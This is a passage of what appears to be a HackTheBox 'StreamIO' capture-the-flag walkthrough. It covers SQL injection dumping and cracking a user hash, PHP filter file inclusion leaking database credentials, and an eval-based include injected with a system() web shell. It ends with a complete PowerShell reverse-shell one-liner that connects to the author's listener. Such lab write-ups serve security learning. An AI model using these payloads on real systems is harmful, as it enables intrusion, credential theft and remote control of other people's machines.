└─# sqlmap <span class="nt">-r</span> streamio.req <span class="nt">--dump</span> <span class="nt">-D</span> STREAMIO <span class="nt">-T</span> <span class="nb">users</span> <span class="nt">-C</span> username,password <span class="nt">--where</span> <span class="s2">"id=31"</span> <span class="nt">--force-pivoting</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> starting @ 22:08:54 /2022-06-27/
<span class="o">[</span>22:09:18] <span class="o">[</span>INFO] adjusting <span class="nb">time </span>delay to 1 second due to good response <span class="nb">times
</span>b779ba15cedfd22a023c4d8bcf5f2332
<span class="o">[</span>22:13:48] <span class="o">[</span>INFO] retrieved: yoshihide
Database: STREAMIO
Table: <span class="nb">users</span>
<span class="o">[</span>1 entry]
+----------------------------------------------------+----------------------------------------------------+
| username | password |
+----------------------------------------------------+----------------------------------------------------+
| yoshihide | b779ba15cedfd22a023c4d8bcf5f2332 |
+----------------------------------------------------+----------------------------------------------------+
<span class="o">[</span><span class="k">*</span><span class="o">]</span> ending @ 22:19:30 /2022-06-27/
</code></pre></div></div>
<p>Note, for me yoshihide was id number 31, it might be different for you just try and adjust id number if necessary.</p>
<h2 id="crack-yoshihide-hash">Crack Yoshihide Hash</h2>
<p>With the password hash we can crack using JohnTheRipper:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# <span class="nb">echo</span> <span class="s2">"b779ba15cedfd22a023c4d8bcf5f2332"</span> <span class="o">></span> hash.txt
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# john hash.txt <span class="nt">--format</span><span class="o">=</span>raw-md5 <span class="nt">--wordlist</span><span class="o">=</span>/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password <span class="nb">hash</span> <span class="o">(</span>Raw-MD5 <span class="o">[</span>MD5 256/256 AVX2 8x3]<span class="o">)</span>
Warning: no OpenMP support <span class="k">for </span>this <span class="nb">hash type</span>, consider <span class="nt">--fork</span><span class="o">=</span>4
Press <span class="s1">'q'</span> or Ctrl-C to abort, almost any other key <span class="k">for </span>status
66boysandgirls.. <span class="o">(</span>?<span class="o">)</span>
1g 0:00:00:01 DONE <span class="o">(</span>2022-06-27 22:26<span class="o">)</span> 0.8771g/s 10524Kp/s 10524Kc/s 10524KC/s 66che18bur17den..6698907
Use the <span class="s2">"--show --format=Raw-MD5"</span> options to display all of the cracked passwords reliably
Session completed.
</code></pre></div></div>
<h2 id="feroxbuster">Feroxbuster</h2>
<p>Now we have credentials we can go back to the website and login:</p>
<p><img src="/assets/images/2022-06-28-22-26-07.png" alt="streamio-loggedin" /></p>
<p>The only difference when logged in is the top right corner link now says logout. With nothing more to look at let’s try Feroxbuster:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# feroxbuster <span class="nt">-k</span> <span class="nt">-u</span> https://streamio.htb/
___ ___ __ __ __ __ __ ___
|__ |__ |__<span class="o">)</span> |__<span class="o">)</span> | / <span class="sb">`</span> / <span class="se">\ \_</span>/ | | <span class="se">\ </span>|__
| |___ | <span class="se">\ </span>| <span class="se">\ </span>| <span class="se">\_</span>_, <span class="se">\_</span>_/ / <span class="se">\ </span>| |__/ |___
by Ben <span class="s2">"epi"</span> Risher 🤓 ver: 2.7.0
───────────────────────────┬──────────────────────
🎯 Target Url │ https://streamio.htb/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ <span class="o">[</span>200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout <span class="o">(</span>secs<span class="o">)</span> │ 7
🦡 User-Agent │ feroxbuster/2.7.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🏁 HTTP methods │ <span class="o">[</span>GET]
🔓 Insecure │ <span class="nb">true</span>
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press <span class="o">[</span>ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
301 GET 2l 10w 150c https://streamio.htb/admin <span class="o">=></span> https://streamio.htb/admin/
200 GET 395l 915w 13497c https://streamio.htb/
<SNIP>
</code></pre></div></div>
<p>We get a lot of responses but the interesting one is the first 301, which tells us the scanned URL of admin get’s redirected to /admin/. Let’s have a look:</p>
<p><img src="/assets/images/2022-06-28-22-38-19.png" alt="streamio-admin" /></p>
<p>We have a page with four links, each is a parameter:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://streamio.htb/admin/?user=
https://streamio.htb/admin/?staff=
https://streamio.htb/admin/?movie=
https://streamio.htb/admin/?message=
</code></pre></div></div>
<p>The staff page lists the users we saw earlier when we used SQLMap to dump the table, and we see yoshihide at the bottom.</p>
<h2 id="wfuzz">Wfuzz</h2>
<p>There’s nothing much here, let’s try fuzzing for more parameters but to do this we need to be logged in with a valid cookie. We can do it from the terminal:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# curl <span class="nt">-s</span> <span class="nt">-o</span> /dev/null <span class="nt">-k</span> <span class="nt">-X</span> POST <span class="nt">--cookie</span> <span class="s1">'PHPSESSID=3k47ea2n095607g9vukkpvhu72'</span> <span class="nt">--data-binary</span> <span class="s1">'username=yoshihide&password=66boysandgirls..'</span> <span class="s1">'https://streamio.htb/login.php'</span>
</code></pre></div></div>
<p>This silently logs us in with a valid cookie using the credentials we found earlier. Now we’re authenticated we can use wfuzz to look at the parameter. Here’s a test that it works with those known parameters and a few wrong one’s to check the output:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# wfuzz <span class="nt">-c</span> <span class="nt">-b</span> <span class="nv">PHPSESSID</span><span class="o">=</span>3k47ea2n095607g9vukkpvhu72 <span class="nt">-u</span> <span class="s1">'https://streamio.htb/admin/?FUZZ='</span> <span class="nt">-w</span> fuzz.txt
<span class="k">********************************************************</span>
<span class="k">*</span> Wfuzz 3.1.0 - The Web Fuzzer <span class="k">*</span>
<span class="k">********************************************************</span>
Target: https://streamio.htb/admin/?FUZZ<span class="o">=</span>
Total requests: 10
<span class="o">=====================================================================</span>
ID Response Lines Word Chars Payload
<span class="o">=====================================================================</span>
000000001: 200 62 L 160 W 2073 Ch <span class="s2">"user"</span>
000000002: 200 398 L 916 W 12484 Ch <span class="s2">"staff"</span>
000000003: 200 10790 25878 W 320235 Ch <span class="s2">"movie"</span>
000000004: 200 49 L 131 W 1678 Ch <span class="s2">"message"</span>
000000005: 200 49 L 131 W 1678 Ch <span class="s2">"aaaaaa"</span>
000000006: 200 49 L 131 W 1678 Ch <span class="s2">"bbbbbbb"</span>
000000007: 200 49 L 131 W 1678 Ch <span class="s2">"cccccccc"</span>
000000008: 200 49 L 131 W 1678 Ch <span class="s2">"ddddddddd"</span>
</code></pre></div></div>
<p>You see a 200 response for all attempts but the characters returned is greater for those known valid parameters. New we can use a wordlist and filter response to just see any that are valid. I used <a href="https://raw.githubusercontent.com/s0md3v/Arjun/master/arjun/db/small.txt">this</a> from the <a href="https://github.com/s0md3v/Arjun">Arjun</a> repo:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# wfuzz <span class="nt">-c</span> <span class="nt">-b</span> <span class="nv">PHPSESSID</span><span class="o">=</span>3k47ea2n095607g9vukkpvhu72 <span class="nt">--hh</span> 1678 <span class="nt">-u</span> <span class="s1">'https://streamio.htb/admin/?FUZZ='</span> <span class="nt">-w</span> small.txt
<span class="k">********************************************************</span>
<span class="k">*</span> Wfuzz 3.1.0 - The Web Fuzzer <span class="k">*</span>
<span class="k">********************************************************</span>
Target: https://streamio.htb/admin/?FUZZ<span class="o">=</span>
Total requests: 835
<span class="o">=====================================================================</span>
ID Response Lines Word Chars Payload
<span class="o">=====================================================================</span>
000000187: 200 49 L 137 W 1712 Ch <span class="s2">"debug"</span>
000000788: 200 62 L 160 W 2073 Ch <span class="s2">"user"</span>
Total <span class="nb">time</span>: 0
Processed Requests: 835
Filtered Requests: 833
Requests/sec.: 0
</code></pre></div></div>
<p>I used the -hh parameter for wfuzz to hide any response with 1678 characters which we know are invalid from our earlier test. Out of the 835 it tried we see debug is a new one. If we try it we see something interesting in the response:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# curl <span class="nt">-k</span> <span class="nt">--cookie</span> <span class="s2">"PHPSESSID=3k47ea2n095607g9vukkpvhu72"</span> https://streamio.htb/admin/?debug<span class="o">=</span>
</code></pre></div></div>
<p>Send that while we are logged in so the cookie is valid and we’ll get this response:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><SNIP></span>
<span class="nt"><br><hr><br></span>
<span class="nt"><div</span> <span class="na">id=</span><span class="s">"inc"</span><span class="nt">></span>
this option is for developers only
<span class="nt"></div></span>
<span class="nt"></center></span>
<span class="nt"></body></span>
<span class="nt"><html></span>
</code></pre></div></div>
<h2 id="local-file-inclusion">Local File Inclusion</h2>
<p>After a little playing around we find we can use a php filter to achieve local file inclusion (LFI). <a href="https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/">This</a> article briefly explains it. Also we’ve covered this before on the <a href="https://pencer.io/ctf/ctf-htb-timing/">Timing</a> and <a href="https://pencer.io/ctf/ctf-htb-earlyaccess/">EarlyAccess</a> boxes.</p>
<p>Let’s grab the index.php file so we can see it’s source code:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# curl <span class="nt">-k</span> <span class="nt">--cookie</span> <span class="s2">"PHPSESSID=3k47ea2n095607g9vukkpvhu72"</span> <span class="s2">"https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php"</span>
</code></pre></div></div>
<p>From the file we get back this part is interesting:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><!DOCTYPE html></span>
<span class="nt"><html></span>
<span class="nt"><head></span>
<span class="nt"><meta</span> <span class="na">charset=</span><span class="s">"utf-8"</span><span class="nt">></span>
<span class="nt"><title></span>Admin panel<span class="nt"></title></span>
<span class="nt"><link</span> <span class="na">rel = </span><span class="s">"icon"</span> <span class="na">href=</span><span class="s">"/images/icon.png"</span> <span class="na">type = </span><span class="s">"image/x-icon"</span><span class="nt">></span>
<span class="nt"><SNIP></span>
<span class="nt"><div</span> <span class="na">id=</span><span class="s">"inc"</span><span class="nt">></span>
this option is for developers onlyPD9waHAKZGVmaW5lKCdpbmNsdWRlZCcsdHJ1ZSk7CnNlc3Npb25fc3RhcnQoKT
sKaWYoIWlzc2V0KCRfU0VTU0lPTlsnYWRtaW4nXSkpCnsKCWhlYWRlcignSFRUUC8xLjEgNDAzIEZvcmJpZGRlbicpOwoJZG
llKCI8aDEJlcXVpcmUgJ3N0YWZmX2luYy5waHAnOwoJCQkJZWxzZSBpZihpc3NldCgkX0dFVFsnbW92aWUnXSkpCgkJCQkJc
<span class="nt"><SNIP></span>
ZSAnbW92aWVfaW5jLnBocCc7CgkJCQllbHNlIAoJCQk/PgoJCTwvZGl2PgoJPC9jZW50ZXI+CjwvYm9keT4KPC9odG1sPg==
<span class="nt"></div></span>
<span class="nt"></center></span>
<span class="nt"></body></span>
<span class="nt"></html></span>
</code></pre></div></div>
<p>There’s a long base64 string at the end. Decode that and we have credentials for the database:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# <span class="nb">echo</span> <span class="s2">"PD9waHAKZGVmaW5lKCdpbmNsdWRlZC <SNIP> KPC9odG1sPg=="</span> <span class="o">></span> index.php.b64
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# <span class="nb">cat </span>index.php.b64 | <span class="nb">base64</span> <span class="nt">-d</span>
<?php
define<span class="o">(</span><span class="s1">'included'</span>,true<span class="o">)</span><span class="p">;</span>
session_start<span class="o">()</span><span class="p">;</span>
<span class="k">if</span><span class="o">(!</span>isset<span class="o">(</span><span class="nv">$_SESSION</span><span class="o">[</span><span class="s1">'admin'</span><span class="o">]))</span>
<span class="o">{</span>
header<span class="o">(</span><span class="s1">'HTTP/1.1 403 Forbidden'</span><span class="o">)</span><span class="p">;</span>
die<span class="o">(</span><span class="s2">"<h1>FORBIDDEN</h1>"</span><span class="o">)</span><span class="p">;</span>
<span class="o">}</span>
<span class="nv">$connection</span> <span class="o">=</span> array<span class="o">(</span><span class="s2">"Database"</span><span class="o">=></span><span class="s2">"STREAMIO"</span>, <span class="s2">"UID"</span> <span class="o">=></span> <span class="s2">"db_admin"</span>, <span class="s2">"PWD"</span> <span class="o">=></span> <span class="s1">'B1@hx31234567890'</span><span class="o">)</span><span class="p">;</span>
<span class="nv">$handle</span> <span class="o">=</span> sqlsrv_connect<span class="o">(</span><span class="s1">'(local)'</span>,<span class="nv">$connection</span><span class="o">)</span><span class="p">;</span>
</code></pre></div></div>
<p>Not sure what we need those for yet, save for later.</p>
<h2 id="more-wfuzz">More Wfuzz</h2>
<p>We can fuzz to look for more php files now we know we can access them via the debug parameter:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# wfuzz <span class="nt">-c</span> <span class="nt">-b</span> <span class="nv">PHPSESSID</span><span class="o">=</span>3k47ea2n095607g9vukkpvhu72 <span class="nt">--hh</span> 1712 <span class="nt">-u</span> <span class="s1">'https://streamio.htb/admin/?debug=FUZZ'</span> <span class="nt">-w</span> /usr/share/seclists/Discovery/Web-Content/Common-PHP-Filenames.txt
<span class="k">********************************************************</span>
<span class="k">*</span> Wfuzz 3.1.0 - The Web Fuzzer <span class="k">*</span>
<span class="k">********************************************************</span>
Target: https://streamio.htb/admin/?debug<span class="o">=</span>FUZZ
Total requests: 5163
<span class="o">=====================================================================</span>
ID Response Lines Word Chars Payload
<span class="o">=====================================================================</span>
000000002: 200 46 L 136 W 1693 Ch <span class="s2">"index.php"</span>
000002123: 200 1584516 L 4546873 W 57765942 Ch <span class="s2">"Index.php"</span>
000003375: 200 11218 L 26841 W 344592 Ch <span class="s2">"master.php"</span>
Processed Requests: 5163
Filtered Requests: 5160
</code></pre></div></div>
<p>We have a new file called master.php, let’s have a look at that:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# curl <span class="nt">-k</span> <span class="nt">--cookie</span> <span class="s2">"PHPSESSID=3k47ea2n095607g9vukkpvhu72"</span> <span class="s2">"https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php"</span>
</code></pre></div></div>
<p>We get the html back with another long base64 encoded string at the end. Decode it:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# <span class="nb">echo</span> <span class="s2">"PGgxPk1vdmllIGwvaDE <SNIP> 8oIiAtL9DQo/Pg=="</span> | <span class="nb">base64</span> <span class="nt">-d</span>
</code></pre></div></div>
<p>Look at the end of the file:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><br><hr><br></span>
<span class="nt"><form</span> <span class="na">method=</span><span class="s">"POST"</span><span class="nt">></span>
<span class="nt"><input</span> <span class="na">name=</span><span class="s">"include"</span> <span class="na">hidden</span><span class="nt">></span>
<span class="nt"></form></span>
<span class="cp"><?php</span>
<span class="k">if</span><span class="p">(</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'include'</span><span class="p">]))</span>
<span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'include'</span><span class="p">]</span> <span class="o">!==</span> <span class="s2">"index.php"</span> <span class="p">)</span>
<span class="k">eval</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'include'</span><span class="p">]));</span>
<span class="k">else</span>
<span class="k">echo</span><span class="p">(</span><span class="s2">" ---- ERROR ---- "</span><span class="p">);</span>
<span class="p">}</span>
<span class="cp">?></span>
</code></pre></div></div>
<p>We have some PHP at the end of the file that has an input field called include. It checks if the request has include in it, if it does and it’s not a value of index.php then it includes that in the page. Why would you do that? To allow us to do remote code execution of course!</p>
<h2 id="web-shell">Web Shell</h2>
<p><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URLs">This</a> article explains how to base64 encode data URLs, and <a href="https://rastating.github.io/miniblog-remote-code-execution/">this</a> has an example of exploiting it. We can use this to inject a simple PHP web shell on to the page like we did on <a href="https://pencer.io/ctf/ctf-htb-nineveh">Nineveh</a> and more recently <a href="https://pencer.io/ctf/ctf-htb-timing">Timing</a>.</p>
<p>First base64 encode this:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">system</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'cmd'</span><span class="p">]);</span>
</code></pre></div></div>
<p>On Zsh you have to make it a variable by adding dollar at the start and then escape the apostrophe’s:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# <span class="nb">echo</span> <span class="nt">-n</span> <span class="s1">$'system($_GET[</span><span class="se">\'</span><span class="s1">cmd</span><span class="se">\'</span><span class="s1">]);'</span> | <span class="nb">base64
</span>c3lzdGVtKCRfR0VUWydjbWQnXSk7
</code></pre></div></div>
<p>Now we can use that as a parameter to execute commands. We can use the same curl command as before, but now add the include data URL part with out base64 encoded system command. Then we can add our &cmd= parameter on the end, here I’ve put ipconfig as an example:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# curl <span class="nt">-s</span> <span class="nt">-k</span> <span class="nt">-X</span> POST <span class="nt">--cookie</span> <span class="s1">'PHPSESSID=3k47ea2n095607g9vukkpvhu72'</span> <span class="nt">--data-binary</span> <span class="s2">"include=data://text/plain;base64,c3lzdGVtKCRfR0VUWydjbWQnXSk7"</span> <span class="s1">'https://streamio.htb/admin/?debug=master.php&cmd=ipconfig'</span> | <span class="nb">sed</span> <span class="nt">-n</span> <span class="s1">'/<input name="include" hidden>/,$p'</span>
<input <span class="nv">name</span><span class="o">=</span><span class="s2">"include"</span> hidden>
</form>
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix <span class="nb">.</span> : htb
IPv6 Address. <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> : dead:beef::1ce
IPv6 Address. <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> : dead:beef::8c24:df77:f0ea:ebe5
Link-local IPv6 Address <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> : fe80::8c24:df77:f0ea:ebe5%12
IPv4 Address. <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> : 10.10.11.158
Subnet Mask <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> : 255.255.255.0
Default Gateway <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> : fe80::250:56ff:feb9:6ddc%12
10.10.10.2
</div>
</center>
</body>
</html>
</code></pre></div></div>
<h2 id="reverse-shell">Reverse Shell</h2>
<p>I’ve used sed to chop off the returned page all the way down to the bottom where our code output is returned. We could use this to do some recon, but really we just want a reverse shell so let’s do that. We’ll need a PowerShell one with this being a Windows box, use the Nishang one-liner <a href="https://gist.github.com/egre55/c058744a4240af6515eb32b2d33fbed3">here</a>:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$client</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nx">System.Net.Sockets.TCPClient</span><span class="p">(</span><span class="s2">"10.10.14.198"</span><span class="p">,</span><span class="mi">1337</span><span class="p">);</span><span class="nv">$stream</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$client</span><span class="o">.</span><span class="nf">GetStream</span><span class="p">();[</span><span class="n">byte</span><span class="p">[]]</span><span class="nv">$bytes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="o">..</span><span class="mi">65535</span><span class="o">|%</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span><span class="kr">while</span><span class="p">((</span><span class="nv">$i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$stream</span><span class="o">.</span><span class="nf">Read</span><span class="p">(</span><span class="nv">$bytes</span><span class="p">,</span><span class="w"> </span><span class="nx">0</span><span class="p">,</span><span class="w"> </span><span class="nv">$bytes</span><span class="o">.</span><span class="nf">Length</span><span class="p">))</span><span class="w"> </span><span class="o">-ne</span><span class="w"> </span><span class="mi">0</span><span class="p">){;</span><span class="nv">$data</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">New-Object</span><span class="w"> </span><span class="nt">-TypeName</span><span class="w"> </span><span class="nx">System.Text.ASCIIEncoding</span><span class="p">)</span><span class="o">.</span><span class="nf">GetString</span><span class="p">(</span><span class="nv">$bytes</span><span class="p">,</span><span class="nx">0</span><span class="p">,</span><span class="w"> </span><span class="nv">$i</span><span class="p">);</span><span class="nv">$sendback</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">iex</span><span class="w"> </span><span class="nv">$data</span><span class="w"> </span><span class="nx">2</span><span class="err">></span><span class="o">&</span><span class="nx">1</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Out-String</span><span class="w"> </span><span class="p">);</span><span class="nv">$sendback2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$sendback</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s2">"PS "</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="n">pwd</span><span class="p">)</span><span class="o">.</span><span class="nf">Path</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s2">"> "</span><span class="p">;</span><span class="nv">$sendbyte</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">([</span><span class="n">text.encoding</span><span class="p">]::</span><span class="n">ASCII</span><span class="p">)</span><span class="o">.</span><span class="nf">GetBytes</span><span class="p">(</span><span class="nv">$sendback2</span><span class="p">);</span><span class="nv">$stream</span><span class="o">.</span><span class="nf">Write</span><span class="p">(</span><span class="nv">$sendbyte</span><span class="p">,</span><span class="nx">0</span><span class="p">,</span><span class="nv">$sendbyte</span><span class="o">.</span><span class="nf">Length</span><span class="p">);</span><span class="nv">$stream</span><span class="o">.</span><span class="nf">Flush</span><span class="p">()};</span><span class="nv">$client</span><span class="o">.</span><span class="nf">Close</span><span class="p">()</span><span class="w">
</span></code></pre></div></div>
<p>i’ve just changed the IP and port to my Kali’s current one. Now base64 encode it on CyberChef:</p>
<p><img src="/assets/images/2022-06-30-17-08-29.png" alt="streamio-cyberchef" /></p>
<p>Start nc listening on port 1337 in another terminal then use the same curl command as before but with our Powershell payload on it:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# curl <span class="nt">-s</span> <span class="nt">-k</span> <span class="nt">-X</span> POST <span class="nt">--cookie</span> <span class="s1">'PHPSESSID=3k47ea2n095607g9vukkpvhu72'</span> <span class="nt">--data-binary</span> <span class="s2">"include=data://text/plain;base64,c3lzdGVtKCRfR0VUWydjbWQnXSk7"</span> <span class="s1">'https://streamio.htb/admin/?debug=master.php&cmd=powershell+-e+JABjAGwAaQBlAG4A <SNIP> vAHMAZQAoACkA'</span>
</code></pre></div></div>
<p>Now switch to netcat to see we’re connected. Quick recon:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PS</span><span class="w"> </span><span class="nx">C:\inetpub\streamio.htb\admin</span><span class="err">></span><span class="w"> </span><span class="nx">whoami</span><span class="w">
</span><span class="n">streamio\yoshihide</span><span class="w">
</span><span class="n">PS</span><span class="w"> </span><span class="nx">C:\inetpub\streamio.htb\admin</span><span class="err">></span><span class="w"> </span><span class="nx">whoami</span><span class="w"> </span><span class="nx">/groups</span><span class="w">
</span><span class="n">GROUP</span><span class="w"> </span><span class="nx">INFORMATION</span><span class="w">
</span><span class="o">-----------------</span><span class="w">
</span><span class="n">Group</span><span class="w"> </span><span class="nx">Name</span><span class="w"> </span><span class="nx">Type</span><span class="w"> </span><span class="nx">SID</span><span class="w"> </span><span class="nx">Attributes</span><span class="w">
</span><span class="o">===========================================</span><span class="w"> </span><span class="o">================</span><span class="w"> </span><span class="o">============</span><span class="w"> </span><span class="o">==================================================</span><span class="w">
</span><span class="n">Everyone</span><span class="w"> </span><span class="nx">Well-known</span><span class="w"> </span><span class="nx">group</span><span class="w"> </span><span class="nx">S-1-1-0</span><span class="w"> </span><span class="nx">Mandatory</span><span class="w"> </span><span class="nx">group</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">by</span><span class="w"> </span><span class="nx">default</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">group</span><span class="w">
</span><span class="n">BUILTIN\Users</span><span class="w"> </span><span class="nx">Alias</span><span class="w"> </span><span class="nx">S-1-5-32-545</span><span class="w"> </span><span class="nx">Mandatory</span><span class="w"> </span><span class="nx">group</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">by</span><span class="w"> </span><span class="nx">default</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">group</span><span class="w">
</span><span class="n">BUILTIN\Pre-Windows</span><span class="w"> </span><span class="nx">2000</span><span class="w"> </span><span class="nx">Compatible</span><span class="w"> </span><span class="nx">Access</span><span class="w"> </span><span class="nx">Alias</span><span class="w"> </span><span class="nx">S-1-5-32-554</span><span class="w"> </span><span class="nx">Mandatory</span><span class="w"> </span><span class="nx">group</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">by</span><span class="w"> </span><span class="nx">default</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">group</span><span class="w">
</span><span class="n">NT</span><span class="w"> </span><span class="nx">AUTHORITY\NETWORK</span><span class="w"> </span><span class="nx">Well-known</span><span class="w"> </span><span class="nx">group</span><span class="w"> </span><span class="nx">S-1-5-2</span><span class="w"> </span><span class="nx">Mandatory</span><span class="w"> </span><span class="nx">group</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">by</span><span class="w"> </span><span class="nx">default</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">group</span><span class="w">
</span><span class="n">NT</span><span class="w"> </span><span class="nx">AUTHORITY\Authenticated</span><span class="w"> </span><span class="nx">Users</span><span class="w"> </span><span class="nx">Well-known</span><span class="w"> </span><span class="nx">group</span><span class="w"> </span><span class="nx">S-1-5-11</span><span class="w"> </span><span class="nx">Mandatory</span><span class="w"> </span><span class="nx">group</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">by</span><span class="w"> </span><span class="nx">default</span><span class="p">,</span><span class="w"> </span><span class="nx">Enabled</span><span class="w"> </span><span class="nx">group</span><span class="w">
